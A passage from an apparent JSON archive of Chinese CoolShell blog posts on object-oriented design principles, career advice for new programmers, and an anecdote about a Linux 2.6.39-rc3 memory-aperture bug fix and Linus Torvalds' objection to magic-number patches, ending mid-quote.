由方法M创建或者实例化的对象；\n> 4. 作为方法M的参数的对象。\n> \n> \n> \n\n\n在《Clean Code》一书中，有一段Apache framework中的一段违反了LoD的代码：\n\n\nfinal String outputDir = ctxt.getOptions().getScratchDir().getAbsolutePath();\n\n\n这么长的一串对其它对象的细节，以及细节的细节，细节的细节的细节……的调用，增加了耦合，使得代码结构复杂、僵化，难以扩展和维护。\n\n\n在《重构》一书中的代码的环味道中有一种叫做“Feature Envy”(依恋情结），形象的描述了一种违反了LoC的情况。Feature Envy就是说一个对象对其它对象的内容更有兴趣，也就是说老是羡慕别的对象的成员、结构或者功能，大老远的调用人家的东西。这样的结构显然是不合理的。我们的程序应该写得比较“害羞”。不能像前面例子中的那个不把自己当外人的店员一样，拿过客人的钱包自己把钱拿出来。“害羞”的程序只和自己最近的朋友交谈。这种情况下应该调整程序的结构，让那个对象自己拥有它羡慕的feature，或者使用合理的设计模式（例如Facade和Mediator）。\n\n\n**参考**：[http://en.wikipedia.org/wiki/Principle\\_of\\_Least\\_Knowledge](http://en.wikipedia.org/wiki/Principle_of_Least_Knowledge \"http://en.wikipedia.org/wiki/Principle_of_Least_Knowledge\")\n\n\n#### 面向对象的S.O.L.I.D 原则\n\n\n一般来说这是面向对象的五大设计原则，但是，我觉得这些原则可适用于所有的软件开发。\n\n\n**Single Responsibility Principle (SRP) – 职责单一原则**\n\n\n关于单一职责原则，其核心的思想是：**一个类，只做一件事，并把这件事做好，其只有一个引起它变化的原因**。单一职责原则可以看作是低耦合、高内聚在面向对象原则上的引申，将职责定义为引起变化的原因，以提高内聚性来减少引起变化的原因。职责过多，可能引起它变化的原因就越多，这将导致职责依赖，相互之间就产生影响，从而极大的损伤其内聚性和耦合度。单一职责，通常意味着单一的功能，因此不要为一个模块实现过多的功能点，以保证实体只有一个引起它变化的原因。\n\n\n* Unix/Linux是这一原则的完美体现者。各个程序都独立负责一个单一的事。\n* Windows是这一原则的反面示例。几乎所有的程序都交织耦合在一起。\n\n\n**Open/Closed Principle (OCP) – 开闭原则**\n\n\n关于开发封闭原则，其核心的思想是：模块是可扩展的，而不可修改的。也就是说，**对扩展是开放的，而对修改是封闭的**。\n\n\n* 对扩展开放，意味着有新的需求或变化时，可以对现有代码进行扩展，以适应新的情况。\n* 对修改封闭，意味着类一旦设计完成，就可以独立完成其工作，而不要对类进行任何修改。\n\n\n对于面向对象来说，需要你依赖抽象，而不是实现，23个经典设计模式中的“策略模式”就是这个实现。对于非面向对象编程，一些API需要你传入一个你可以扩展的函数，比如我们的C 语言的qsort()允许你提供一个“比较器”，STL中的容器类的内存分配，ACE中的多线程的各种锁。对于软件方面，浏览器的各种插件属于这个原则的实践。\n\n\n**Liskov substitution principle (LSP) – 里氏代换原则**\n\n\n软件工程大师Robert C. Martin把里氏代换原则最终简化为一句话：“Subtypes must be substitutable for their base types”。也就是，子类必须能够替换成它们的基类。即：子类应该可以替换任何基类能够出现的地方，并且经过替换以后，代码还能正常工作。另外，不应该在代码中出现if/else之类对子类类型进行判断的条件。里氏替换原则LSP是使代码符合开闭原则的一个重要保证。正是由于子类型的可替换性才使得父类型的模块在无需修改的情况下就可以扩展。\n\n\n这么说来，似乎有点教条化，我非常建议大家看看这个原则个两个最经典的案例——“正方形不是长方形”和“鸵鸟不是鸟”。通过这两个案例，你会明白《墨子 小取》中说的 ——“娣，美人也，爱娣，非爱美人也….盗，人也；恶盗，非恶人也。”——妹妹虽然是美人，但喜欢妹妹并不代表喜欢美人。盗贼是人，但讨厌盗贼也并不代表就讨厌人类。**这个原则让你考虑的不是语义上对象的间的关系，而是实际需求的环境**。\n\n\n在很多情况下，在设计初期我们类之间的关系不是很明确，LSP则给了我们一个判断和设计类之间关系的基准：需不需要继承，以及怎样设计继承关系。\n\n\n**Interface Segregation Principle (ISP) – 接口隔离原则**\n\n\n接口隔离原则意思是把功能实现在接口中，而不是类中，使用多个专门的接口比使用单一的总接口要好。\n\n\n举个例子，我们对电脑有不同的使用方式，比如：写作，通讯，看电影，打游戏，上网，编程，计算，数据等，如果我们把这些功能都声明在电脑的抽类里面，那么，我们的上网本，PC机，服务器，笔记本的实现类都要实现所有的这些接口，这就显得太复杂了。所以，我们可以把其这些功能接口隔离开来，比如：工作学习接口，编程开发接口，上网娱乐接口，计算和数据服务接口，这样，我们的不同功能的电脑就可以有所选择地继承这些接口。\n\n\n这个原则可以提升我们“搭积木式”的软件开发。对于设计来说，Java中的各种Event Listener和Adapter，对于软件开发来说，不同的用户权限有不同的功能，不同的版本有不同的功能，都是这个原则的应用。\n\n\n**Dependency Inversion Principle (DIP) – 依赖倒置原则**\n\n\n高层模块不应该依赖于低层模块的实现，而是依赖于高层抽象。\n\n\n举个例子，墙面的开关不应该依赖于电灯的开关实现，而是应该依赖于一个抽象的开关的标准接口，这样，当我们扩展程序的时候，我们的开关同样可以控制其它不同的灯，甚至不同的电器。也就是说，电灯和其它电器继承并实现我们的标准开关接口，而我们的开关产商就可不需要关于其要控制什么样的设备，只需要关心那个标准的开关标准。这就是依赖倒置原则。\n\n\n这就好像浏览器并不依赖于后面的web服务器，其只依赖于HTTP协议。这个原则实在是太重要了，社会的分工化，标准化都是这个设计原则的体现。\n\n\n**参考**：<http://en.wikipedia.org/wiki/Solid_(object-oriented_design)>\n\n\n#### Common Closure Principle（CCP）– 共同封闭原则\n\n\n一个包中所有的类应该对同一种类型的变化关闭。一个变化影响一个包，便影响了包中所有的类。一个更简短的说法是：一起修改的类，应该组合在一起（同一个包里）。如果必须修改应用程序里的代码，我们希望所有的修改都发生在一个包里（修改关闭），而不是遍布在很多包里。CCP原则就是把因为某个同样的原因而需要修改的所有类组合进一个包里。如果2个类从物理上或者从概念上联系得非常紧密，它们通常一起发生改变，那么它们应该属于同一个包。\n\n\nCCP延伸了开闭原则（OCP）的“关闭”概念，当因为某个原因需要修改时，把需要修改的范围限制在一个最小范围内的包里。\n\n\n**参考**：<http://c2.com/cgi/wiki?CommonClosurePrinciple>\n\n\n#### Common Reuse Principle (CRP) – 共同重用原则\n\n\n包的所有类被一起重用。如果你重用了其中的一个类，就重用全部。换个说法是，没有被一起重用的类不应该被组合在一起。CRP原则帮助我们决定哪些类应该被放到同一个包里。依赖一个包就是依赖这个包所包含的一切。当一个包发生了改变，并发布新的版本，使用这个包的所有用户都必须在新的包环境下验证他们的工作，即使被他们使用的部分没有发生任何改变。因为如果包中包含有未被使用的类，即使用户不关心该类是否改变，但用户还是不得不升级该包并对原来的功能加以重新测试。\n\n\nCCP则让系统的维护者受益。CCP让包尽可能大（CCP原则加入功能相关的类），CRP则让包尽可能小（CRP原则剔除不使用的类）。它们的出发点不一样，但不相互冲突。\n\n\n**参考**：<http://c2.com/cgi/wiki?CommonReusePrinciple>\n\n\n#### Hollywood Principle – 好莱坞原则\n\n\n好莱坞原则就是一句话——“don’t call us, we’ll call you.”。意思是，好莱坞的经纪人们不希望你去联系他们，而是他们会在需要的时候来联系你。也就是说，所有的组件都是被动的，所有的组件初始化和调用都由容器负责。组件处在一个容器当中，由容器负责管理。\n\n\n简单的来讲，就是由容器控制程序之间的关系，而非传统实现中，由程序代码直接操控。这也就是所谓“控制反转”的概念所在：\n\n\n1. 不创建对象，而是描述创建对象的方式。\n2. 在代码中，对象与服务没有直接联系，而是容器负责将这些联系在一起。\n\n\n控制权由应用代码中转到了外部容器，控制权的转移，是所谓反转。\n\n\n好莱坞原则就是IoC（Inversion of Control）或DI（Dependency Injection ）的基础原则。这个原则很像依赖倒置原则，依赖接口，而不是实例，但是这个原则要解决的是怎么把这个实例传入调用类中？你可能把其声明成成员，你可以通过构造函数，你可以通过函数参数。但是 IoC可以让你通过配置文件，一个由Service Container 读取的配置文件来产生实际配置的类。但是程序也有可能变得不易读了，程序的性能也有可能还会下降。\n\n\n**参考**：\n\n\n* <http://en.wikipedia.org/wiki/Hollywood_Principle>\n* <http://en.wikipedia.org/wiki/Inversion_of_Control>\n\n\n#### High Cohesion & Low/Loose coupling & – 高内聚， 低耦合\n\n\n这个原则是UNIX操作系统设计的经典原则，把模块间的耦合降到最低，而努力让一个模块做到精益求精。\n\n\n* 内聚：一个模块内各个元素彼此结合的紧密程度\n* 耦合：一个软件结构内不同模块之间互连程度的度量\n\n\n内聚意味着重用和独立，耦合意味着多米诺效应牵一发动全身。\n\n\n**参考**：\n\n\n* [http://en.wikipedia.org/wiki/Coupling\\_(computer\\_science)](http://en.wikipedia.org/wiki/Coupling_%28computer_science%29 \"http://en.wikipedia.org/wiki/Coupling_(computer_science)\")\n* [http://en.wikipedia.org/wiki/Cohesion\\_(computer\\_science)](http://en.wikipedia.org/wiki/Cohesion_%28computer_science%29 \"http://en.wikipedia.org/wiki/Cohesion_(computer_science)\")\n\n\n#### Convention over Configuration（CoC）– 惯例优于配置原则\n\n\n简单点说，就是将一些公认的配置方式和信息作为内部缺省的规则来使用。例如，Hibernate的映射文件，如果约定字段名和类属性一致的话，基本上就可以不要这个配置文件了。你的应用只需要指定不convention的信息即可，从而减少了大量convention而又不得不花时间和精力啰里啰嗦的东东。配置文件很多时候相当的影响开发效率。\n\n\nRails 中很少有配置文件（但不是没有，数据库连接就是一个配置文件），Rails 的fans号称期开发效率是 java 开发的 10 倍，估计就是这个原因。Maven也使用了CoC原则，当你执行mvn -compile命令的时候，不需要指源文件放在什么地方，而编译以后的class文件放置在什么地方也没有指定，这就是CoC原则。\n\n\n**参考**：[http://en.wikipedia.org/wiki/Convention\\_over\\_Configuration](http://en.wikipedia.org/wiki/Convention_over_Configuration \"http://en.wikipedia.org/wiki/Convention_over_Configuration\")\n\n\n#### Separation of Concerns (SoC) – 关注点分离\n\n\nSoC 是计算机科学中最重要的努力目标之一。这个原则，就是在软件开发中，通过各种手段，将问题的各个关注点分开。如果一个问题能分解为独立且较小的问题，就是相对较易解决的。问题太过于复杂，要解决问题需要关注的点太多，而程序员的能力是有限的，不能同时关注于问题的各个方面。正如程序员的记忆力相对于计算机知识来说那么有限一样，程序员解决问题的能力相对于要解决的问题的复杂性也是一样的非常有限。在我们分析问题的时候，如果我们把所有的东西混在一起讨论，那么就只会有一个结果——乱。\n\n\n我记得在上一家公司有一个项目，讨论就讨论了1年多，项目本来不复杂，但是没有使用SoC，全部的东西混为一谈，再加上一堆程序员注入了各种不同的观点和想法，整个项目一下子就失控了。最后，本来一个1年的项目做了3年。\n\n\n实现关注点分离的方法主要有两种，一种是标准化，另一种是抽象与包装。标准化就是制定一套标准，让使用者都遵守它，将人们的行为统一起来，这样使用标准的人就不用担心别人会有很多种不同的实现，使自己的程序不能和别人的配合。Java EE就是一个标准的大集合。每个开发者只需要关注于标准本身和他所在做的事情就行了。就像是开发镙丝钉的人只专注于开发镙丝钉就行了，而不用关注镙帽是怎么生产的，反正镙帽和镙丝钉按标来就一定能合得上。不断地把程序的某些部分抽像差包装起来，也是实现关注点分离的好方法。一旦一个函数被抽像出来并实现了，那么使用函数的人就不用关心这个函数是如何实现的，同样的，一旦一个类被抽像并实现了，类的使用者也不用再关注于这个类的内部是如何实现的。诸如组件，分层，面向服务，等等这些概念都是在不同的层次上做抽像和包装，以使得使用者不用关心它的内部实现细节。\n\n\n说白了还是“高内聚，低耦合”。\n\n\n**参考**：<http://sulong.me/archives/99>\n\n\n#### Design by Contract (DbC) – 契约式设计\n\n\nDbC的核心思想是对软件系统中的元素之间相互合作以及“责任”与“义务”的比喻。这种比喻从商业活动中“客户”与“供应商”达成“契约”而得来。例如：\n\n\n* 供应商必须提供某种产品（责任），并且他有权期望客户已经付款（权利）。\n* 客户必须付款（责任），并且有权得到产品（权利）。\n* 契约双方必须履行那些对所有契约都有效的责任，如法律和规定等。\n\n\n同样的，如果在程序设计中一个模块提供了某种功能，那么它要：\n\n\n* 期望所有调用它的客户模块都保证一定的进入条件：这就是模块的先验条件（客户的义务和供应商的权利，这样它就不用去处理不满足先验条件的情况）。\n* 保证退出时给出特定的属性：这就是模块的后验条件——（供应商的义务，显然也是客户的权利）。\n* 在进入时假定，并在退出时保持一些特定的属性：不变式。\n\n\n契约就是这些权利和义务的正式形式。我们可以用“三个问题”来总结DbC，并且作为设计者要经常问：\n\n\n* 它期望的是什么？\n* 它要保证的是什么？\n* 它要保持的是什么？\n\n\n根据Bertrand Meyer氏提出的DBC概念的描述，对于类的一个方法，都有一个前提条件以及一个后续条件，前提条件说明方法接受什么样的参数数据等，只有前提条件得到满足时，这个方法才能被调用；同时后续条件用来说明这个方法完成时的状态，如果一个方法的执行会导致这个方法的后续条件不成立，那么这个方法也不应该正常返回。\n\n\n现在把前提条件以及后续条件应用到继承子类中，子类方法应该满足：\n\n\n1. 前提条件不强于基类．\n2. 后续条件不弱于基类．\n\n\n换句话说，通过基类的接口调用一个对象时，用户只知道基类前提条件以及后续条件。因此继承类不得要求用户提供比基类方法要求的更强的前提条件，亦即，继承类方法必须接受任何基类方法能接受的任何条件（参数）。同样，继承类必须顺从基类的所有后续条件，亦即，继承类方法的行为和输出不得违反由基类建立起来的任何约束，不能让用户对继承类方法的输出感到困惑。\n\n\n这样，我们就有了基于契约的LSP，基于契约的LSP是LSP的一种强化。\n\n\n**参考**：<http://en.wikipedia.org/wiki/Design_by_contract>\n\n\n#### Acyclic Dependencies Principle (ADP) – 无环依赖原则\n\n\n包之间的依赖结构必须是一个直接的无环图形，也就是说，在依赖结构中不允许出现环（循环依赖）。如果包的依赖形成了环状结构，怎么样打破这种循环依赖呢？有2种方法可以打破这种循环依赖关系：第一种方法是创建新的包，如果A、B、C形成环路依赖，那么把这些共同类抽出来放在一个新的包D里。这样就把C依赖A变成了C依赖D以及A依赖D，从而打破了循环依赖关系。第二种方法是使用DIP（依赖倒置原则）和ISP（接口分隔原则）设计原则。\n\n\n无环依赖原则（ADP）为我们解决包之间的关系耦合问题。在设计模块时，不能有循环依赖。\n\n\n**参考**：<http://c2.com/cgi/wiki?AcyclicDependenciesPrinciple>\n\n\n#### 后记\n\n\n上面这些原则可能有些学院派，也可能太为理论，我在这里说的也比较模糊和简单，这里只是给大家一个概貌，如果想要了解更多的东西，大家可以多google一下。\n\n\n不过这些原则看上去都不难，但是要用好却并不那么容易。要能把这些原则用得好用得精，而不教条，我的经验如下：（我以为这是一个理论到应用的过程）\n\n\n1. 你可以先粗浅或是表面地知道这些原则。\n2. 但不要急着马上就使用。\n3. 在工作学习中观察和总结别人或自己的设计。\n4. 再回过头来了回顾一下这些原则，相信你会有一些自己的心得。\n5. 有适度地去实践一下。\n6. Goto第 3步。\n\n\n我相信可能还会有其实一些原则，欢迎大家提供。\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![从面向对象的设计模式看软件设计](../wp-content/uploads/2013/01/kiss-150x150.png)](https://coolshell.cn/articles/8961.html)[从面向对象的设计模式看软件设计](https://coolshell.cn/articles/8961.html)\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [![IoC/DIP其实是一种管理思想](../wp-content/uploads/2013/07/inverted-bookshelf_thumb-150x150.jpg)](https://coolshell.cn/articles/9949.html)[IoC/DIP其实是一种管理思想](https://coolshell.cn/articles/9949.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg](https://coolshell.cn/articles/8745.html)[如此理解面向对象编程](https://coolshell.cn/articles/8745.html)\n* [![用Unix的设计思想来应对多变的需求](../wp-content/uploads/2012/05/Bannière-Unix-linux-150x150.jpg)](https://coolshell.cn/articles/7236.html)[用Unix的设计思想来应对多变的需求](https://coolshell.cn/articles/7236.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/5444.html)[千万不要把 bool 设计成函数参数](https://coolshell.cn/articles/5444.html)\nThe post [一些软件设计的原则](https://coolshell.cn/articles/4535.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-4-26 对程序员职业的一些建议.md",
    "content": "---\nlayout: post\ntitle: 对程序员职业的一些建议\ndate: 2011/4/26/ 5:29:44\nupdated: 2011/4/26/ 5:29:44\nstatus: publish\npublished: true\ntype: post\n---\n\n自从四年前被CSDN采访后（“[职业规化就像软件工程](http://blog.csdn.net/haoel/archive/2007/07/13/1688104.aspx \"职业规划就像软件工程\")”），经常会有网友（尤其是刚毕业的）写邮件来问我一些程序员职业生涯的一些问题，至到今天。比如，国企还是外企的选择，一直编程有没有前途等等问题。面对这样的邮件，我感到有很大的压力，因为如果我的回复很有可能会误人一生，但我另一方面又很想帮助这些人。所以，我基本上还是会尝试回一下这样的邮件。昨天，我又回了一封。但是我心里还是有点忐忑不安。害怕说错了什么。\n\n\n今天，我想把我的一些思路和建议写在这里，一方面供大家参考，另一方面也想听听大家对我的评判，这样不但对更多的人有帮助，同时对我自己也是一个帮助。\n\n\n下面是某网友前天给我发来的邮件：\n\n\n\n> 我是一个刚刚毕业的大学生，我觉得自己对于程序员这个行业感到很迷惘，所以发邮件打扰您一下，麻烦了。\n> \n> \n> 我今年正在找工作，我现在有几家国企的offer，百度的offer还在等待，我觉得第一份工作对我来说很重要，因为第一份基本决定了近几年或者一辈子你在哪个行业发展。家里人都是希望我签国企，但是我自己对技术很感兴趣，一直希望能在技术上面走下去，签国企虽然很轻松但是我总觉得在技术上学不到什么有用的东西，所以我个人倾向是去百度。\n> \n> \n> 我现在很迷惘的是，如果我一直在程序员这个行业上走下去，以后的出路应该是什么呢？还是一直到高级工程师，还是项目管理这种程度吗？\n> \n> \n> 我现在听很多人在说程序员必需要转行，因为一辈子在编写代码，没有什么好的出路，对于这点，您有什么看法吗？我现在才刚刚从学校毕业，对IT这个行业也不是非常了解，但是我觉得自己自学能力很强，而且确实很想学些东西，你对于一个刚刚毕业的计算机学生有什么建议吗？\n> \n> \n\n\n信件的内容我没有改变，我相信很多人都有相似的问题。我昨天给这们朋友回复了邮件，下面是我回复内容的一个整理。欢迎大家讨论。\n\n\n首先，我想说的是，**这些东西只是我根据我的经历给出的建议，仅仅供大家去参考**，**你的路你的人生要你自己决定，不要轻易的让人帮你决定，那怕是你的家人**。\n\n\n如果我们把所的问题一起谈，那怎么说也说不清楚，所以，请允许我“[关键点分离原则](https://coolshell.cn/articles/4535.html \"一些软件设计的原则\")”来分开说说。\n\n\n\n#### 一、对技术的热情\n\n\n如果我们喜爱编程，喜爱技术的话，那么，我们就会投入热情，自己会去专研很多东西。就像你以前对某个东西痴迷一样，你可以在工作之余还在学习和专研这些东西，你会经常和人讨论这些东西。不知道你是否会和我一样有一种感觉，如果你不学习技术，你不去专研，你就怕被淘汰，你就会感到不舒服。\n\n\n所以，我们一定要问我们自己一下，我们自己喜欢技术吗？喜欢技术到什么程度。只是感兴趣还是喜欢？这两个不一样。**兴趣能让你开始让你执着，但只有喜爱才会投入热情，只有投入热情才可能会出成绩**。这个问题你要问问自己。\n\n\n1. 你有多大的热情在这个事业上？\n2. 你对你自己的自我价值的实现的诉求有多大？\n\n\n如果你很有热情，可能到了有些痴迷的程度的话，比如，你会因为专研某个问题，学习某个东西，尝试某个东西，达到废寝忘食的程度，而且以些为乐，那么我非常建议你走技术的路线。\n\n\n#### 二、对技术的能力\n\n\n有兴趣，有热情，并不代表你就一定行。你需要很清楚地认识到，你还需要有能力（我在《[再谈“我是怎么招聘程序员”](https://coolshell.cn/articles/4506.html \"再谈“我是怎么招聘程序员的”（上）\")》一文中说了程序员的四个事，操作技能，知识，经验，和能力，大家可以去看看我对“能力”的定义）。你需要反思和重审一下自己是否有能力，你的学习能力怎么样，是经常需要问人，还是可以自己专研？你的思路怎么样，是否能被有经验的人认可，还是能够影响别人？\n\n\n**兴趣和热情只能让你很执着，但并不一定能让你走好这条路，只有你的能力和你的强项才能让你走好这条路**。希望大家能够清楚地认识到这其中的差别。\n\n\n所以，你一定要对自己做出一个判断，要学会反思，如果你是有能力的适合走技术路线的人，那以我非常建议你走技术路线。\n\n\n我也尝试创过业，但我觉得我这种人是“谋士”，不是能攻城拔寨的“将军”，创业更需要的是“将军”，我目前只能是一个辅佐他们的“谋士”，所以，我也只能尽力能成为一个级别高点的“谋士”。\n\n\n#### 三、再说说工作的事\n\n\n我比较同意的”第一份基本决定了近几年或者一辈子你在哪个行业发展”，但又有一点点不是很同意。因为我毕业的时候，在银行混了两年，然后又去一个国企业呆了2年。所以，第一份工作并没有影响我的职业。但是，我必需承认——当我从银行出来的时候，我落后了，落后了还很多，我花了近5-6年的时候才把这个差距追了回来。\n\n\n所以，我有几个观点想告诉大家：\n\n\n\n* 第一份工作并不决定你的人生**。因为你可以在2年内换工作。但是你头四年的做的事会对你的职业有影响。这里，我有两个案例分享一下。（我不用说太多了，相信大家自己能体会）**\n\t+ 一个是我的同学70后，他以前是程序员，干了5/6年后不想干了，想转行，结果转不了，因为他的工作经历让他很难转行了，他问了一下自己是否愿意和那些刚毕业的80后拿一样的工作一起竞争，最后他自己都不愿意。后来，他去读了MBA，现在还做IT，现在做一些业务咨询方面的工作。不能算失败，但是时间浪费了。\n\t+ 还有一个是我的同事，她CS专业毕业想做程序员，但最后为了进一个好的公司只能做QA，现在4年多了，她很想很想做dev，但是却抱怨工作没有给她这样的机会，4年多的QA经验让她很难成为Dev了。我从她做QA一年的时候就在和她说，如果你想做Dev，你就要有技术储备，多和dev在一起工作，QA又怎么样，如果我能读Dev的代码，我总有一天会成为Dev的。事实证明，她对技术并没有太多热情。现在也只能得过且过了。\n\n\n* 如果你觉得自己在技术有自信有热情，而且已经有一些成绩了，我强烈建议你去IT公司中锻炼，越尊重技术的的IT公司越好。就像打球一样，只有和比你厉害的人一起玩，你才会得提高。\n\n\n* 如果你对技术的热情一般，也没有太多的自我价值的追求，也不想拼搏，而且对吃大锅饭不反感，对没有激情的工作不反感的话，那么，你应该去事业单位，当个公务员，走走常规则的人生，养养老也不错。这里，我多说一句，根据中国的现在国情来看，如果你有自我价值的诉求，你要去大城市，去好的公司，走体制外的路线，如果你又不想来大城市 ，只想呆在地方的话，那么，我个人非常建议你走体制内的路线，在地方，只有体制内的路线是最好的。\n\n\n* 千万别去一些没有前途的小公司（要去小公司你得看看这个公司的人和业务），很多不起眼的小公司现在都变大了，能和一个公司一起成长是相当难得的（我现在就特别想要这方面的经历），现在这个社会，与其去那些很难成长为大公司的小的很不规范的公司，还不如自己创业。（**更新2011/4/26**：[@islet8](#comment-48180)  回复中的观点可能比我的更好——“我觉得第一份工作能尽量进大公司的确是有好处的，能够帮你建立起一套规范的、成熟的工作习惯了思维方式，经过一两年（在激情还没被磨灭之前）再挑一个靠谱的、能赌上自己前途的小公司（比如同事朋友等推荐过去的或是他们联合创立的）一起成长一遍，无论公司的成败，对个人来说，那都是成功了”）\n\n\n#### 四，技术可以做多长\n\n\n在这里，我用我自己经历做个例子，我在软件编程上有14年了（加上大学里的项目就有16年了），虽然我今天是经理了，但是我还是喜欢编程。我以前也听到过别人说的——做技术太辛苦，没前途。我并不这样觉得，因为我觉得技术是实实在在的东西，很实在，这让我很踏实，踏实的感觉得好。因为，\n\n\n* 我个人觉得真正的稳定是，今天我离开 这个公司，我明天就能找到相应的工作。\n* 如果我的工作不成问题了，那么我就可以从谋生上升到事业的层次来。\n* 只有到了事业这个层次，我才能有所建树。\n\n\n另外，我觉得说出来的那些话的人要么就是“小猫钓鱼”的那些人，要么就是短视的人，你可以问问他们，哪个非技术的行业有前途，然后你去问问从事那个行业的人怎么样看？我15年来都在编程，虽然走了一些弯路，但是我很感谢那些中途退缩者，是他们让我这15年变得更有价值。15年从事同一个件事，这让我很有竞争力。有了竞争力，我的工作才不会是一个问题，我才能上升上事业的层次上来。\n\n\n当然，如果你发现你不适合，你无法坚持，那么我建议你还是想清楚，别的行业你能坚持吗？**我们不害怕转行，害怕的是自己对自己缺乏认识，害怕的是小猫钓鱼，害怕的是一山望比一山高**。\n\n\n#### 五，待遇和职位\n\n\n比如你的职位，薪水，福利，等，我从来都不是很关心这些东西，这些都是次要的（其次重要的），最重要的是你的能力和经历，是那些可以写在你简历上的，让你引以自豪的经历和能力。（一定要自己引以自豪）。**而你的职位，薪水，只不过是你能力和经历的附属品**。\n\n\n把自己对待遇和职位的那个目标放在心里，踏踏实实做好今天的事，炼好自己的内功，注重经验的积累和总结，等待一个能让你量变引发质变的机会，用你的能力抓住它不要放手，你会发现你的路就在前方，通往这条路的门不知不觉已经开了。功到自然成，水到渠成。\n\n\n以上是我的一些建议，不一定对，其可能因为我的个人经历有局限，还希望听道大家的讨论和指点。\n\n\n**（请勿用于商业用途，转载时请注明作者和出处）**\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\n* [![程序员如何把控自己的职业](../wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png)](https://coolshell.cn/articles/20977.html)[程序员如何把控自己的职业](https://coolshell.cn/articles/20977.html)\n* [![MegaEase的远程工作文化](../wp-content/uploads/2020/01/remote-150x150.jpg)](https://coolshell.cn/articles/20765.html)[MegaEase的远程工作文化](https://coolshell.cn/articles/20765.html)\nThe post [对程序员职业的一些建议](https://coolshell.cn/articles/4561.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-4-27 Linux 2.6.39-rc3的一个插曲.md",
    "content": "---\nlayout: post\ntitle: Linux 2.6.39-rc3的一个插曲\ndate: 2011/4/27/ 0:39:26\nupdated: 2011/4/27/ 0:39:26\nstatus: publish\npublished: true\ntype: post\n---\n\n2011年4月12日，Linux 2.6.39-rc3发布了，Linus Torvalds写了一个[发布邮件](http://thread.gmane.org/gmane.linux.kernel/1124982)，其中包含了一个长长的为这个版本做过贡献的人员名单，这个名单中有很多看上去应该是中国人的名字，我挺为他们感到骄傲的（不知道你是否还记得以前本站的”[Linux是由谁写的](https://coolshell.cn/articles/1360.html \"谁写了Linux\")“）。\n\n\n不过，没过一会，发现了一个bug，经过大家的调查（2.6.38版没有发现这个问题），很快，找到了原因，是因为一个内存地址的问题，一个叫Yinghai Lu的人（看其名字应该是中国人，其邮件是@kernel.org）[找到了原因](http://thread.gmane.org/gmane.linux.kernel/1124982/focus=1126082)—— radeon card使用了一个不正确的内存地址[0xa0000000 – 0xc000000]。Joerg Roedel跟贴说，这个地址超出了4GB的内存，然后他和Alex Deucher聊了一会，觉得不应该是这个问题，因为这个地址应该是GPU的，而不是系统内存的。\n\n\n好像，Yinghai Lu没有理会他们说的不应该是这个问题，[给出了个fix](http://thread.gmane.org/gmane.linux.kernel/1124982/focus=1126133)：\n\n\n\n```\n\ndiff --git a/arch/x86/kernel/aperture_64.c b/arch/x86/kernel/aperture_64.c\nindex 86d1ad4..3b6a9d5 100644\n--- a/arch/x86/kernel/aperture_64.c\n+++ b/arch/x86/kernel/aperture_64.c\n@@ -83,7 +83,7 @@ static u32 __init allocate_aperture(void)\n \t * so don't use 512M below as gart iommu, leave the space for kernel\n \t * code for safe\n \t */\n-\taddr = memblock_find_in_range(0, 1ULL<<32, aper_size, 512ULL<<20);\n+\taddr = memblock_find_in_range(0, 1ULL<<32, aper_size, 512ULL<<21);\n  \tif (addr == MEMBLOCK_ERROR || addr + aper_size > 0xffffffff) {\n \t\tprintk(KERN_ERR\n \t\t\t\"Cannot allocate aperture memory hole (%lx,%uK)\\n\",\n\n```\n\n看到这个fix，Linus Torvalds不高兴了，他回贴问道：\n\n\n* 为什么全都是Magic Numbers？\n* 为什么0x80000000就那么特殊？\n* 为什么我们这样改就行？\n\n\n还说了这样一句话——\n\n\n\n\n> This kind of “I broke things, so now I will jiggle things randomly until they unbreak” is not acceptable. 这种“我把事搞砸了，就随意地调整直到事情又工作”的方式是不可接受的。\n> \n> \n\n\n还说，这里即没有说明为什么我们fix在了正确的地方（也没有解释那些Magic Number是什么），也没有回滚那个有问题的patch。还说——\n\n\n\n> Don’t just make random changes. There really are only two acceptable models of development: “think and analyze” or “years and years of testing on thousands of machines”. Those two really do work.\n> \n> \n> 不要乱改。那里只有两个可行的开发模式：“思考和分析” 或是 “数年数年地不断地在几千台机器上测试”。这两个方式才是真正可行的。\n> \n> \n\n\n当然，Yinghai Lu对[其做了解释](http://thread.gmane.org/gmane.linux.kernel/1124982/focus=1126154)，说我们的确调查过了，老的代码用的内存地址是0x80000000，新的则是用0xa0000000，而0xa0000000不工作。这又引发了 Linus Torvalds 的[不满的回贴](http://thread.gmane.org/gmane.linux.kernel/1124982/focus=1126216)。Linus说——\n\n\n\n> Yinghai, we have had this discussion before, and dammit, you need to understand the difference between “understanding the problem” and “put in random values until it works on one machine”.\n> \n> \n> 